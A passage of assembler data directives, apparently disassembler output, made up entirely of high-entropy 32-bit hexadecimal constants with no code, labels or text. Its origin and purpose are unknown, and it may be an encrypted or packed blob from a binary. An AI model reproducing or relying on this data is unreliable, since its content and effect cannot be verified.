		dd 4D779899h, 8D483E95h, 2F6F791Ch, 5758FC5Ch, 0F9A0C68h
		dd 0D828737Eh, 57011295h, 0E989A773h, 98FED8C8h, 11863876h
		dd 0A739EE4Bh, 0F633EA2Bh, 817140E9h, 0E8555967h, 1266C84h
		dd 77FFE2D1h, 0AAA11E2Bh, 40B3F012h, 0E44AE94Dh, 0D55BA9C2h
		dd 0E6024516h, 21301865h, 729677FEh, 0F245D49Dh, 0E1709D05h
		dd 4B42685Bh, 3069DDAAh, 69400174h, 0CC681659h,	0D3DEB7Dh
		dd 0C197396Eh, 5282EC3h, 2DB6F680h, 5DC2F9E9h, 0B38F075h
		dd 0DED75533h, 86886A56h, 2E52491h, 12DF70Bh, 0F397306h
		dd 0FB7B02BFh, 0C07C1D16h, 69D75254h, 0A34E2EE9h, 0A22006DDh
		dd 8F2312C1h, 865FD51Eh, 562F28F8h, 0D2D97C54h,	1BE90610h
		dd 5EBB8D5Ah, 0A1F013FCh, 959A6AAAh, 32678C1Ah,	29B06DF7h
		dd 84C70B89h, 2687187Fh, 0FE569DA4h, 48EDF25Bh,	78EB8076h
		dd 0A5843019h, 0C09AF611h, 0AF03EE3Ah, 27FE51DEh, 89069014h
		dd 0C9BAE9DAh, 21C50567h, 12F387Ch, 5F12CAA8h, 8D5EEA55h
		dd 6E87F500h, 98896735h, 0AC4D2FC6h, 6E587729h,	0BC2C2E2Dh
		dd 455A4BD5h, 8B90A5BDh, 9B5438Ah, 30607768h, 9D27BBA0h
		dd 0BAA4DF65h, 3CB89016h, 520B68CEh, 5CC93257h,	306DC587h
		dd 0FE6B22ADh, 0B75A3E7Bh, 0C05BB382h, 0B9281D96h, 73570E19h
		dd 0B835BB17h, 54E41A9h, 0FB52A47Bh, 0F2193429h, 0A52EAC7Eh
		dd 68DCC0BBh, 6597788Eh, 2F15213Bh, 751346D8h, 4FA83329h
		dd 1C5D025h, 971C908h, 0BAF8CF80h, 0C7020876h, 5BF92877h
		dd 45735E30h, 0E088FE81h, 90F44ACFh, 0FC05C982h, 48B5F8B8h
		dd 2F65043Ch, 23423AEBh, 97F63477h, 0A2123D93h,	35EBE055h
		dd 0C05113CBh, 2915059Ah, 0C801D338h, 9E6809A2h, 8947F95Ch
		dd 145C4676h, 0A57DC161h, 9CDF870h, 12F665ABh, 0C4DD4807h
		dd 0EC7EB90h, 5AEE11D1h, 12071883h, 0E990D855h,	4EBDA983h
		dd 0DF8AA2F4h, 0C90BF66Ch, 80542976h, 0B116D141h, 0A60CC62Ch
		dd 0E93F7263h, 5F32E97Bh, 0DB2D33E0h, 5C205900h, 3DDC1235h
		dd 2978BDD4h, 7779902Dh, 0A9FC1C96h, 37A24B5Bh,	544E78h
		dd 2FB9BE85h, 95B06827h, 0BC8B75Fh, 0A8A45A71h,	3A8FA00Fh
		dd 814201F1h, 0C2213CE1h, 51BC3A79h, 0F8541474h, 0F906DE4Ah
		dd 0C514E2Fh, 0B1F01401h, 0E38EE9AEh, 48BA6283h, 0F8029357h
		dd 590EECC2h, 8550C26Dh, 52C53705h, 571653B8h, 12681609h
		dd 0C33F0482h, 6B74EBF0h, 662447B5h, 0F5BA449Eh, 7A627697h
		dd 0E3FD0613h, 0F3C12ABh, 0C15C24FBh, 51547EFh,	35164D5Eh
		dd 2BA9152h, 71061E0h, 0F8F36740h, 0CF205881h, 31C9A881h
		dd 25F9B86Bh, 2BD9A811h, 46F2D3Fh, 0ADAF2926h, 567AC135h
		dd 1C8A780Bh, 81DEAAE9h, 28E4C480h, 34AEE9E5h, 0E224C112h
		dd 321E1902h, 9180489h,	0ACC8D971h, 74D702D5h, 0F1FE3970h
		dd 191BC708h, 0C0443859h, 6EF810C0h, 6805C296h,	0A2D90B29h
		dd 0FAF0953Bh, 0B065EDC0h, 0A3595B61h, 8BAA8493h, 9FC5540Eh
		dd 0F228EB8Fh, 2C089503h, 0EA20891Ah, 57B62B94h, 0E8BB538Bh
		dd 825C2956h, 29E9241h,	58DC745Bh, 0BE9EEA88h, 0EE25ED42h
		dd 2731B020h, 0A954A7F1h, 5A0CD94Ah, 955786BFh,	30559FC2h
		dd 9EF1D681h, 5B18C2EAh, 24AF6757h, 0D0681773h,	0B163CDF5h
		dd 0D9011517h, 8E6F8006h, 228DEE3h, 7ABB5E32h, 9BE12E40h
		dd 76F755CFh, 6860CCFAh, 6102CB31h, 417BF8E6h, 212D2786h
		dd 2DC42A3Bh, 899F4431h, 77E3B900h, 2974AB0Bh, 0B90D5CAh
		dd 4F0955B8h, 0DD480E61h, 6CDF6F22h, 0A3DF989Ah, 2A83B74h
		dd 477BF273h, 0E1DDBB57h, 0A7425150h, 0DE860227h, 0BE010DE1h
		dd 4842130Ah, 0B0BEEC94h, 0DDF856D0h, 290489BEh, 0D9BE58C1h
		dd 0F5D74200h, 5238055Dh, 914A70CBh, 13EB3BEh, 0CF705357h
		dd 6ABE817Ah, 0F12B4DF5h, 0A0F601B6h, 0BFDE50B0h, 60E96BAAh
		dd 147E2143h, 5FC26A4Eh, 7ECFD75Ah, 4290C4A2h, 0D90A429Dh
		dd 0CAFD5A75h, 0C2C575B5h, 0F1ED8B1Fh, 1C5D490Ah, 1DEE955Fh
		dd 43C4565Ah, 17E14AACh, 2A337E28h, 29E9D41Dh, 7D9E6E10h
		dd 0B7534B0Fh, 70F9C913h, 0AC68158Eh, 4D3381Ch,	0A2E85FABh
		dd 0C0B01711h, 0FE01CAEDh, 97E9585Bh, 6BEE34F5h, 1D4A3916h
		dd 3F3A5DFFh, 187222A5h, 0BC3F880Bh, 0A7455F70h, 949AEF09h
		dd 92FC9F04h, 47C5E9E1h, 0D304AF22h, 0C7037B28h, 51168CB7h
		dd 54E1882Fh, 0FB661221h, 2881EE6h, 54F68041h, 0C07EF13Bh
		dd 0F52FE9F3h, 0BF5F199Fh, 8724EE28h, 0CDF30BA0h, 0CFDC485Fh
		dd 7352ECCh, 24180BE6h,	910286D1h, 5F41D60Ch, 1AC6B985h
		dd 0B60F1C08h, 0F2788593h, 0C04A3FC3h, 772C16BDh, 0CD8600DCh
		dd 43865A0Bh, 7E41E5B0h, 2627447Fh, 7931FA8Ah, 0FA04AC3Ah
		dd 0AE2BBF29h, 72B35E04h, 9A10530Bh, 0FF82DEE2h, 0DAD77A81h
		dd 0D4106C86h, 40913BF1h, 13922E68h, 48AEC093h,	0A8966628h
		dd 71FEE501h, 5C3D6E5Ah, 0B0D74D2Ah, 0F05F52CEh, 6685181h
		dd 78393308h, 0C1665E0Bh, 25D28757h, 141E6A9h, 7AAC6F79h
		dd 93ADC6E9h, 39BC514Eh, 18F82500h, 1F0932B9h, 50F2248h
		dd 384D55EDh, 80394A5h,	0F634025Ah, 4209702Ch, 0F4E25BE0h
		dd 6CFB0E05h, 0A509D2F7h, 7D14FD59h, 75D55427h,	5DE515AEh
		dd 0D72FF853h, 855BC4AFh, 4BE0FA3Eh, 42012D18h,	880C5F2h
		dd 0D6A848E9h, 0DE4A8958h, 0EF56BF28h, 7B97687h, 3558720Bh
		dd 5029068Bh, 1B375C82h, 2897B8D7h, 125597D7h, 0BE0B410Ah
		dd 96BF6F64h, 5163A73Dh, 0A9A1205h, 8EFA11F5h, 0F2624B87h
		dd 5B65FDEAh, 533055ADh, 41825E5Fh, 0C7C5FE33h,	67F0CFCDh
		dd 418D3A2h, 0FAEEB977h, 0E66020F6h, 49262D5Eh,	6801920Bh
		dd 0BA307565h, 0A25461Ch, 6374009h, 0D12D14E9h,	8E05B6EDh
		dd 0B83C046Fh, 5B1B3C49h, 769DB3A4h, 9A3AEF88h,	0E45628ACh
		dd 0C466F409h, 0A8100033h, 97745851h, 2813254h,	0BEADDEB4h
		dd 91F56F8h, 0A3EE90Ch,	7CA7FC56h, 800334A5h, 185E990Ch
		dd 6B0C0261h, 1364A70Dh, 0A8F317ACh, 0E969F005h, 6A0F3525h
		dd 36676049h, 81BBC0FDh
		dd 0E257F6F3h, 0EB046990h, 3FD867D1h, 56986F80h, 4129F8FAh
		dd 0D20807D9h, 0F9F77CEBh, 2CC6ED0h, 0FEB5FBB4h, 357972C0h
		dd 8CA2F4EBh, 0B13C61FAh, 3F2A9E58h, 6420C167h,	0D14925EFh
		dd 0FE07E275h, 77A208C5h, 6A5CBD00h, 4560F4Bh, 7F1144BEh
		dd 2965E051h, 78F9E971h, 0CB09091Fh, 68F5D459h,	164426D1h
		dd 0E3EF87DEh, 0AA845ED2h, 9AF6A7ACh, 7DDDA22Ch, 0FCBA6683h
		dd 4A95A54Bh, 0FDC20181h, 0C6912ACh, 21D49F3h, 2CA113C4h
		dd 58ECE7C5h, 0B82F5155h, 5FE9A886h, 5084007Eh,	43F6856h
		dd 5E37361Fh, 0D2E50B49h, 0F8025FD9h, 79661104h, 1A69127Ah
		dd 1501EAC2h, 0A0B15B1h, 0F500467Ch, 989AB5FCh,	0E912E889h
		dd 0F54488E7h, 0A8E45CABh, 0E44F5A38h, 64E38C7Bh, 12053BC8h
		dd 0D3215BE8h, 2E7F6BBCh, 40CCA104h, 7B322086h,	0A2FB0128h
		dd 21E90880h, 3D039F3h,	3A8B7549h, 289E064Dh, 0CA10DF26h
		dd 0E9500504h, 0F7F2AB85h, 622DFD58h, 844EB4D2h, 17353700h
		dd 0F483D158h, 5D8A404Fh, 2988819Fh, 0C23F2AC0h, 0F9FD2FF9h
		dd 2586494Bh, 5B6455BDh, 0BD169AFAh, 0A8E0793Eh, 0A269FCBCh
		dd 0ADC7EDDh, 9932832h,	250F576Ah, 0D3133E0h, 417FD8EAh
		dd 383C6524h, 431601ACh, 0E00F8B87h, 1B45051h, 2CDB7DB1h
		dd 0C74A1A88h, 1CFDD007h, 5714E681h, 10C19A2Bh,	0BB01BCD0h
		dd 3D721779h, 0E1C96E53h, 0C3C80BB1h, 0F2778948h, 0F5545Eh
		dd 3CECE181h, 7EBD132Ch, 6C051DF4h, 0CD678763h,	316DC43h
		dd 0CC0206D2h, 0C01822C9h, 1504929h, 532E3CB8h,	0F4123543h
		dd 17B80FD9h, 46851741h, 870160C3h, 6AF0C260h, 42AF65D1h
		dd 0E7ECFD8Fh, 0F8A008B1h, 0A5DA2CFDh, 271255E9h, 8B50F88Fh
		dd 0E4530257h, 27BBF21Ah, 4D43072h, 70DDF273h, 6F596977h
		dd 0D765D58Fh, 3767BEBCh, 3F6E7F3Bh, 499AD9BDh,	3BC93286h
		dd 7AF0BA18h, 0D6EC128Ch, 0E517AC14h, 0FDA95482h, 296992DBh
		dd 816C5705h, 5150FD73h, 955C06A8h, 713D6CBh, 0DD105CCBh
		dd 819E4C1Eh, 0F03007B6h, 0ECF677E3h, 0FC7FEF08h, 700DB132h
		dd 35AA0500h, 2D388201h, 34472E63h, 0C3AF987Eh,	9C4DE9Dh
		dd 0EC57D1D0h, 61681CFAh, 945D2515h, 69A3B608h,	235A6DDFh
		dd 0A9E90A8Eh, 0E8C080FFh, 61B35303h, 3260E1F6h, 1355C641h
		dd 0C0F60F8h, 80089CB0h, 0AE60E917h, 0D1B720AEh, 0F62E81E6h
		dd 0AA00EC02h, 472AB605h, 0DB50B708h, 245E0781h, 0C2DE956h
		dd 3810DDB4h, 612F1C5Fh, 629CD539h, 0E8E2794h, 2CAF1776h
		dd 259B53A9h, 214832B8h, 0DDD155EBh, 0A49DBE62h, 68028BE9h
		dd 7E7E3D32h, 560754EBh, 5D132E69h, 5DCB61D1h, 6420FC46h
		dd 0CEBE1C87h, 9C76AD6Fh, 0CD05AC26h, 0B17B951h, 0BA6820BAh
		dd 0CA4F6460h, 0F1018FA8h, 0D166F353h, 907B20EAh, 3558704h
		dd 0B8BAD029h, 7D350041h, 486A6805h, 55C8012Dh,	32E9BEFCh
		dd 36307F6Bh, 97718268h, 0B8979567h, 7B684BC0h,	383C9341h
		dd 0A8092D44h, 853DDA72h, 70B053Ah, 59099951h, 7196056Ah
		dd 5090E62Ch, 81806224h, 17180BF7h, 2B5E5552h, 38256504h
		dd 22946C2h, 0B05DF520h, 802271AEh, 100B6853h, 5D67C26Eh
		dd 17C48901h, 0B3803F88h, 5E783EBBh, 16EE35F6h,	512DBE33h
		dd 5C30BF00h, 4B1E4814h, 11157402h, 0D960414Eh,	3F060A13h
		dd 0C1834930h, 4C47E6B4h, 0B84AA4B1h, 626325EDh, 7D428960h
		dd 0E9C326FBh, 7E03FDFBh, 8C60286Ch, 319B91BFh,	4CB86E73h
		dd 90C5EA9Ch, 71669D17h, 5EBA5B4Bh, 0FE00BAFDh,	686F34C8h
		dd 0BAB91130h, 0DF64B789h, 67512205h, 800CC085h, 68124FC7h
		dd 0D9F329FDh, 0FFC30E16h, 0B2613E91h, 9E798C6Bh, 5DFE597Fh
		dd 741CD597h, 0A59CD195h, 948C4C75h, 2FECB53h, 4EA5E9F0h
		dd 0C4C5EC9Eh, 0A916D599h, 68F10450h, 9CBB4A5Ah, 5740F37Fh
		dd 93899F29h, 46A74F54h, 25948Ah, 4E57518Dh, 0E916EE89h
		dd 7A4E6D75h, 0A83EE4D1h, 3A9F49BAh, 0C680D474h, 0B8D02766h
		dd 0BACE4A29h, 204A089Eh, 44BCEE34h, 2972D112h,	806A6E1h
		dd 7EA32D60h, 934A9E5Ah, 0D808DF81h, 9FA0C7F4h,	5845F074h
		dd 0FC924EE9h, 0F711732h, 0E9B184F8h, 0BED62AFEh, 312EE4FCh
		dd 82345CF8h, 0E021946h, 0F996FD31h, 0A865719Fh, 0BB11247h
		dd 0E3F1026Dh, 67E04B07h, 6A033206h, 66A5254Eh,	3DE990EFh
		dd 5CE6B5CFh, 72A87EB5h, 0A5FDA22Bh, 0E14712F0h, 23F2F8BAh
		dd 0E881600Bh, 14A02F49h, 506BA75Dh, 72E5B6BFh,	31B29C3Bh
		dd 377593E6h, 0F556160Bh, 9682F765h, 74E44BBDh,	46FC8627h
		dd 97C8FE04h, 56CF0148h, 0DE6A7582h, 21BD85Dh, 0E8A1C518h
		dd 0BADC49E9h, 74053FBBh, 5E42D509h, 0AA1D8044h, 0F9693E36h
		dd 8FEC72FDh, 0B8E09711h, 5D38F060h, 6D24B168h,	0E07973E3h
		dd 0FB5BE40Eh, 9350CB5Eh, 9099EC5Fh, 0B2879A38h, 587A94B5h
		dd 145B3568h, 0BBB2CCh,	5E2A4D06h, 0E608E946h, 96DEDBC7h
		dd 541966F2h, 858AC07Ah, 0D05C31FEh, 0BE50E36Eh, 167C7C7Bh
		dd 80CAE96Ah, 5B82B81Ch, 314F2114h, 0E21F1AB6h,	50D45718h
		dd 0D0C1025Ah, 0F983E9A3h, 0B7166DB1h, 5E9D3B89h, 5246922Ah
		dd 0DBD6075h, 0B257A1Bh, 0DAF75EF2h, 0FC090658h, 8710720Fh
		dd 0BC52B03Eh, 1487F2Fh, 933C4989h, 0E9DF0B43h,	954CD2E6h
		dd 9631F068h, 2CBDC330h, 5BFB64C1h, 0B810FF79h,	68E90B08h
		dd 2D7121A2h, 3CF54495h, 9E9D5BECh, 0F00BEE95h,	3D2C5F30h
		dd 20E1B0E4h, 69C3CEEh,	0D86963AEh, 4B1625E5h, 0BF81C059h
		dd 1365385h, 3B6B1C60h,	55048A6Ah, 0F727C4E9h, 40EE4BF5h
		dd 96790561h, 311A8D08h, 0F26A58C6h, 95EAEC34h,	0F2018D48h
		dd 0D766E92Ah, 80C26097h, 533609E6h, 805D5FB3h,	87AF3A9h
		dd 0E75B78DEh, 4B67816Eh, 0B4836030h, 0BB72A060h, 48B020F1h
		dd 13739639h, 0A829F76Ch, 0BF5BABh, 5991C160h, 0E412FA35h
		dd 0B5BE3E8Bh, 7279206Dh, 0AC79F582h, 0D8418469h, 2A600713h
		dd 0A9979451h, 217D118Bh, 0C9231851h, 0C316E880h, 520BBD35h
		dd 0B36C94Bh, 271FF4BBh, 0B5F01455h, 18C478D6h,	1E685001h
		dd 0A3603A25h, 810573E9h, 0FC3E5D5Ah, 49DD42EFh, 71140353h
		dd 0D15F0A15h, 5600EBE7h, 290EFC91h, 95E977FBh,	0FDF6D30Bh
		dd 2198A12Eh, 5ED30117h, 9527FE5Ah, 0CA65D5E2h,	0A8DA01DDh
		dd 0E360DC30h, 28E34B28h, 0E4A68813h, 0D88A42B7h, 9FD1F2CBh
		dd 0CF409D06h, 0C001629Dh, 128BC2B2h, 165854Ch,	606CCA1Eh
		dd 42BF35DDh, 7F840C8Ch, 0FB94AAC2h, 2F3780EBh,	0C45F51ADh
		dd 8BD257AAh, 9327162Fh, 0F9DEC149h, 7B98BE21h,	3D68DC98h
		dd 0E5766458h, 0A80A13BBh, 0F3EBA504h, 53DFC4C3h, 0AA9255B8h
		dd 0C1DE4244h, 7665905h, 570AA8CBh, 0AF18D297h,	1C8987Fh
		dd 6F7997EAh, 66E2C56Ah, 0EEC1010Fh, 5EFBE007h,	0DCE48894h
		dd 0B02D5C90h, 3A00065h, 128E055Ah, 65DE462Ah, 82A5059h
		dd 0D038005h, 1E50F66Bh, 49255EB7h, 874DE075h, 601C283Dh
		dd 5B3800D2h, 0D331AC37h, 2A95A6E9h, 77491B01h,	96FD320Bh
		dd 7CB11F1Eh, 6E702504h, 2105619Eh, 44FF5DEFh, 132537DBh
		dd 0B20424B9h, 81EED0D2h, 2F353D4Bh, 10FFE713h,	593F08BCh
		dd 299D4CF9h, 8607D26h,	580201B1h, 0C616EA68h, 4E17F044h
		dd 0B02EFC34h, 99BEE4E9h, 80730155h, 6F2872F6h,	11C0FA8h
		dd 0E39FFDFEh, 0A3CB81BBh, 535F0D68h, 0B3C9532Eh, 24F9336h
		dd 0AC62121h, 56042F26h
		dd 0EF61BC39h, 161A8D01h, 0F38742CEh, 0F07844E9h, 34E76845h
		dd 79812FAAh, 0D41A7ECEh, 1F0485BAh, 0F2313DF3h, 599432F2h
		dd 0A0470312h, 5317C73Ah, 2700BC20h, 0F363C4EFh, 0D449032h
		dd 5F6F612Ch, 12496024h, 71093024h, 4BB8712Dh, 3C6BC700h
		dd 40026205h, 9832672Dh, 0D7616375h, 1607D680h,	0C20927D5h
		dd 3C3FE150h, 0E0372DDDh, 5438E998h, 43C88963h,	6F2D6D2Eh
		dd 26E9D9E4h, 0A03B8217h, 0D19AA38Bh, 24206E96h, 0BF58ECCFh
		dd 0A0EC78F4h, 65211697h, 4089E156h, 781EA268h,	10390848h
		dd 6802D56Ah, 48AB54E2h, 1E884DDh, 9FE95741h, 6658003Eh
		dd 94305852h, 0D063236h, 8B09E912h, 68511340h, 0B76C3D36h
		dd 24F10F00h, 8602148h,	0F374270Ch, 9C52957Bh, 2A34C251h
		dd 5CD12AA0h, 0AF5031E2h, 6F670295h, 5AD031FCh,	0FB38EC74h
		dd 0B2605995h, 0F97DB57Ah, 5F726B6Dh, 0F221EF07h, 3404E915h
		dd 0F0FE8707h, 511473F6h, 4B68130Bh, 0F25F303Bh, 32E3042Eh
		dd 0A20C5CE9h, 53C90EECh, 440A534Fh, 9E2407F5h,	67BCE644h
		dd 0D3DDBD38h, 5DEB3103h, 21F9DE29h, 22FC3E64h,	0C186B8B0h
		dd 9AE1312Dh, 55D3852Dh, 813C64BBh, 5302F4Dh, 0EC8B0BEFh
		dd 0D4F70763h, 5B55E0E5h, 1B37594Eh, 410D71EBh,	55677F68h
		dd 88D4102Fh, 82CA7131h, 848D3A88h, 0F2378820h,	0F1292475h
		dd 0BF0820D1h, 0D62F257Eh, 517D5AE7h, 0F98BC70Ah, 0B0BA3E77h
		dd 108B9D50h, 4BE46D7h,	6A5244B9h, 586AC127h, 0F48A25F3h
		dd 2825ECB5h, 5AFE54EFh, 888E5E79h, 2CEA57F9h, 30095B26h
		dd 795A66F7h, 162CB53Fh, 0F5352D6Ch, 81436EFCh,	0CB5359CEh
		dd 5BD9D8F3h, 97F7FE5Ah, 800104CCh, 0CF8601E9h,	0E460C7FEh
		dd 0DB94B53Ah, 0A2425C29h, 0DC0271A4h, 577A442Eh, 0EEB1391Bh
		dd 561992D9h, 2F27F780h, 6D21571Ah, 1E0B0448h, 0C9618D7Eh
		dd 48A36A4Bh, 0B5F38986h, 808CE92Dh, 5D52BF22h,	68560B4Dh
		dd 0F7C63A6Ah, 462F6507h, 0E9374E78h, 7CF23895h, 52DEAE4Eh
		dd 4D45680Eh, 66B7AE13h, 0D60AB95Fh, 0A4E967BEh, 0E6800233h
		dd 0D0ACE196h, 9EC6B9D7h, 0B42CB5FCh, 556D8136h, 82D16163h
		dd 4015C489h, 8268400Bh, 8B053AC0h, 0A891F793h,	6E1AC460h
		dd 6455CEAFh, 8AE8091Ch, 0B9F4E2E7h, 930BCCF3h,	0A82A5163h
		dd 77F02CEAh, 1583C07Ch, 813D7301h, 0A84200C9h,	6E1C12Fh
		dd 2ED52DE9h, 754681C9h, 1CD8828Ah, 0D516F17Dh,	63202C50h
		dd 9B0CC4A4h, 4D6D013h,	0D03A28DDh, 0F12D7C2Ch,	20B09E6Fh
		dd 40C90299h, 804470E3h, 9B4BC5F7h, 0B852C8Bh, 0C7D038Ch
		dd 14788ABFh, 0A901965Ah, 3F071926h, 102FB5D0h,	73225D69h
		dd 5C115A1Fh, 5E16E101h, 0BDEC3459h, 0C691C07Bh, 45C8060Dh
		dd 29270C9Bh, 0F379052Fh, 188FB2AFh, 353A58DCh,	27E3984Bh
		dd 1B5321F7h, 0B5CE833Dh, 3B4E0235h, 0E3BB122h,	859AE912h
		dd 71C2BF6Fh, 3672DFA7h, 485B5C5Dh, 78AB4A55h, 4E4B77EFh
		dd 7D55198Eh, 0F1E2B87Fh, 243E16E4h, 4DAEC2B5h,	5C4F1550h
		dd 24687AA0h, 6A8B096Dh, 1B1800DDh, 9F056328h, 5CE8743Ch
		dd 2FF0F66h, 0F74F8212h, 72ECC0DFh, 0B7025E4h, 0C09DBAF0h
		dd 0ACC789F2h, 0FBE9278Eh, 75B16AC0h, 0FAC18009h, 0DC380EC0h
		dd 0B75321C3h, 8DEFE07Ah, 0BAB03050h, 0E7C05A12h, 0D4BE064Ah
		dd 0BE5A8458h, 0DC09B8A1h, 8A10F2Fh, 565116B0h,	7ADAD809h
		dd 78A4203Ch, 3025527Ch, 941477B3h, 87208BB2h, 32F19899h
		dd 280C85FAh, 727DB262h, 0BDD0FA90h, 84DC8A62h,	53CC9F56h
		dd 0E6783E03h, 88173571h, 129675D7h, 0BF1303E9h, 0E2CB4E73h
		dd 5D485D57h, 0D0BD4DF4h, 0B7763035h, 7DB4BAC0h, 0D6204C2Fh
		dd 0A89E40E2h, 89170945h, 0DEE55AD3h, 0E4B7217Ch, 83A8AAEBh
		dd 1B640DC6h, 0D058C52Dh, 56B776h, 0EE685084h, 2E57A5FBh
		dd 68033CAAh, 0ED0A2825h, 20AC280Bh, 0C7F88C70h, 32E49E09h
		dd 0FEE2D7A9h, 4CACB442h, 5D9753ECh, 709D4396h,	74321D38h
		dd 0CA81995Fh, 0EEA87107h, 43D6277h, 0C6905D07h, 907C0315h
		dd 0BD6C2DBFh, 0B7871E57h, 144F9D64h, 9D5311F0h, 5B510EFEh
		dd 0D58BE47Bh, 64E32EFDh, 7853E9C2h, 0D9BC535Eh, 6EBA80F0h
		dd 2F080D5Dh, 0BB0027E9h, 7778F2B8h, 0E0051701h, 257D8271h
		dd 0B1360CCh, 6D47E90Dh, 6ED4AD72h, 1F007BD3h, 1B052EDAh
		dd 0D3D125E0h, 0C2F3A412h, 0CF15AC1Fh, 82A82916h, 3F200841h
		dd 0E2BF4B87h, 93247803h, 0AC942FCCh, 0E373258Dh, 58E2A8D6h
		dd 774E1F1Ch, 34F2034Ah, 83D4077Ch, 8806063Fh, 5157E7EDh
		dd 49229868h, 3037B479h, 0B9983C3Ch, 68C1D963h,	38D9940Eh
		dd 0D7A57EFCh, 102DB81Eh, 892FB812h, 0DAC499D1h, 187F3DF0h
		dd 8455147Ch, 2A2760ECh, 1B582Ch, 0F197035h, 64B70547h
		dd 5B7C062Ch, 0BC9F613h, 9765FCE1h, 59CB87EEh, 0C9FED9F1h
		dd 0BE38A2F4h, 1DA98C11h, 14F6BD0Ch, 0E5643564h, 39BDC1AAh
		dd 7A3CC94Ah, 12C2CCA0h, 0FEDE5106h, 0B9E01D04h, 444F2FFh
		dd 1EA6096Fh, 30E98BB0h, 0B2589410h, 0DA0BF648h, 0D15AF568h
		dd 0B564937Eh, 25C34144h, 10286A06h, 0F8BDA358h, 98BC47D9h
		dd 0DCE68390h, 127E9210h, 0F122542Dh, 0B15E3C70h, 9C3E92CDh
		dd 0E5A088D6h, 2AE14081h, 489963BFh, 128FA7B5h,	1F5A5AABh
		dd 2DADFE5Dh, 0EB8968D2h, 744FAD10h, 44FF5B26h,	5ADAD7Dh
		dd 7A76640Fh, 822C37C6h, 0A5725408h, 2D2D945Fh,	117DC04Ch
		dd 69E61BA9h, 25C6394Bh, 3399FF34h, 9832ABF8h, 0BFEAA05Ah
		dd 4A29090Dh, 4F7092Ah,	3A269E8Ch, 35535724h, 95765A02h
		dd 85B06223h, 2BA0D910h, 0E1BE54h, 0B724CB2h, 0A292DAF7h
		dd 0B9202A98h, 0D8301B56h, 0C4DA8752h, 290B46FCh, 0FF948BEFh
		dd 7F0C732Dh, 135D7FE4h, 892A7AE9h, 57E53B0Ah, 924C4822h
		dd 2FECAB22h, 0DB0F3D38h, 4FBA89F0h, 405CE476h,	4A5B52FEh
		dd 0B0D6EBEDh, 0B4BD5104h, 0F144B561h, 5ABEB4h,	920F6B9Eh
		dd 0A9315E44h, 0D8E88B27h, 0BB5B954Fh, 39DD1425h, 0CF24D188h
		dd 0C2D71DC3h, 62F7E9FAh, 0FD5817FCh, 2D271555h, 8419B01h
		dd 16BB8B2Fh, 94ABF916h, 5EC4BA5Bh, 0BAF4B3ECh,	7981BBE2h
		dd 2A138F0Ah, 0D651CDF9h, 7337EC2Ah, 0CA332673h, 482D0CF8h
		dd 0F9137CC6h, 7249EC5Bh, 3B11A5Eh, 94756AAFh, 13DCB7BCh
		dd 0BF44DAF0h, 829EA1A7h, 0D30684D4h, 6969F04Ah, 180D1049h
		dd 5909410Bh, 74B600A5h, 66CE05FEh, 2046B968h, 20C9B3C1h
		dd 9BFDE4Ah, 0D9040194h, 9BB90005h, 48651521h, 0F3072949h
		dd 673B8210h, 0BE7C91F1h, 1675204Fh, 99D2931Ah,	0C1505524h
		dd 7A17709Fh, 0E9699632h, 7025D773h, 0E9531373h, 0BECB45F8h
		dd 2D6AB10Bh, 0ED49F3Bh, 0D6C2250Ch, 23E985D0h,	12B2EAB9h
		dd 0A348E517h, 7294B6Dh, 457F7A40h, 0D13117E5h,	20EAB1E8h
		dd 0EC9803C8h, 848F2A28h, 0D6E77025h, 60D142F1h, 101EA45Fh
		dd 1388A1Eh, 5BDE84D2h,	0AE2E8431h, 0E06E961Eh,	0E85CB80Ah
		dd 1E3FD953h, 8B8E452Ah, 5511717Bh, 0D4D03918h,	4B8E49FFh
		dd 83116F6Dh, 0A62BD231h, 1BB31887h, 55AE653h, 0F725172Ch
		dd 0A8AC06DEh, 7EBF164Bh, 4EEB4351h, 1099EF06h,	4AAC2BE8h
		dd 0B215AD4Bh, 0ACE90133h, 0DD9C5382h, 8EDCEDBAh, 2C53C025h
		dd 9D15F4DAh, 895DFE81h, 0FDBE3D3h, 335B2409h, 0C3F564Fh
		dd 0BB148CE2h, 0A7F90104h, 0B3AB31E0h, 0BD550079h, 4CC95929h
		dd 0C7715AE9h, 0EE578434h
		dd 904BB6B9h, 0BA2F9C11h, 0EB005176h, 7B822A36h, 9AFCB2E9h
		dd 2C62D4Bh, 207A9ED5h,	5C97F138h, 323E2764h, 0D5BCBF90h
		dd 53A2BF01h, 0F12F3D0Eh, 0E7202117h, 90BD1A04h, 0A8807741h
		dd 7EE523C5h, 84FF9561h, 5509AA38h, 18E7DD84h, 9C04173Ch
		dd 51C1608Ch, 29FA69BDh, 0C1F98E4Ah, 0B858C5C4h, 0F75CA2C7h
		dd 0AF4AF004h, 0DF218E99h, 5F7E68C8h, 3A77A86Fh, 0C1390563h
		dd 40BE06E7h, 60430B1Ah, 9E24E923h, 0C3426390h,	99E6DD98h
		dd 714804FEh, 4505D2FDh, 21EFD6C5h, 529B371h, 2D0446E2h
		dd 0EA6EB050h, 0CB3377C7h, 8011D851h, 0E1A35EE9h, 69D6D401h
		dd 58325F95h, 64FAD1D5h, 5E14A302h, 0FFD642B2h,	0BD917591h
		dd 0D3E80004h, 4179F960h, 206B03F8h, 1A3F644h, 143D8E31h
		dd 0C8303B89h, 28913357h, 0E692974Ch, 5114010Dh, 46E9441Ch
		dd 0EF859675h, 2F0CE004h, 0F4082C07h, 6186A1AAh, 97F96A19h
		dd 660EB0B6h, 810A28BAh, 464CE281h, 0CF20A84h, 8DC20202h
		dd 5AE20B36h, 74FCB389h, 5B048B0Bh, 0FAE9E19Ch,	7FC03552h
		dd 47D1FEC9h, 8080BD62h, 0C8683DF1h, 0A3D2094Bh, 0AF2904B6h
		dd 130D4CB4h, 4899A5Bh,	1447099Dh, 0FF007D8h, 0D0B2681Fh
		dd 262B5141h, 8163353Bh, 636943A6h, 0A1BBC084h,	991ACF78h
		dd 0E37E27BAh, 2AE3E901h, 0C821063h, 1CE468D9h,	83567055h
		dd 140C4108h, 0E97B1361h, 0BA5CE33Ch, 8BF1F5C1h, 978FAF4Fh
		dd 169F8BEEh, 0C89845A4h, 1655435Ah, 3EFD5EE9h,	11EFF202h
		dd 0E181234Fh, 0AC8C28EBh, 0F52520B8h, 682FD866h, 0C27EDCF5h
		dd 33578E5Dh, 9504D774h, 0A5061FADh, 662F7503h,	86991703h
		dd 22D3013Ch, 0A9972426h, 9755650h, 9C7FC15Bh, 6855096Dh
		dd 3FB07583h, 0C12843AAh, 9914EC2Ah, 77DEF61Eh,	31F804B7h
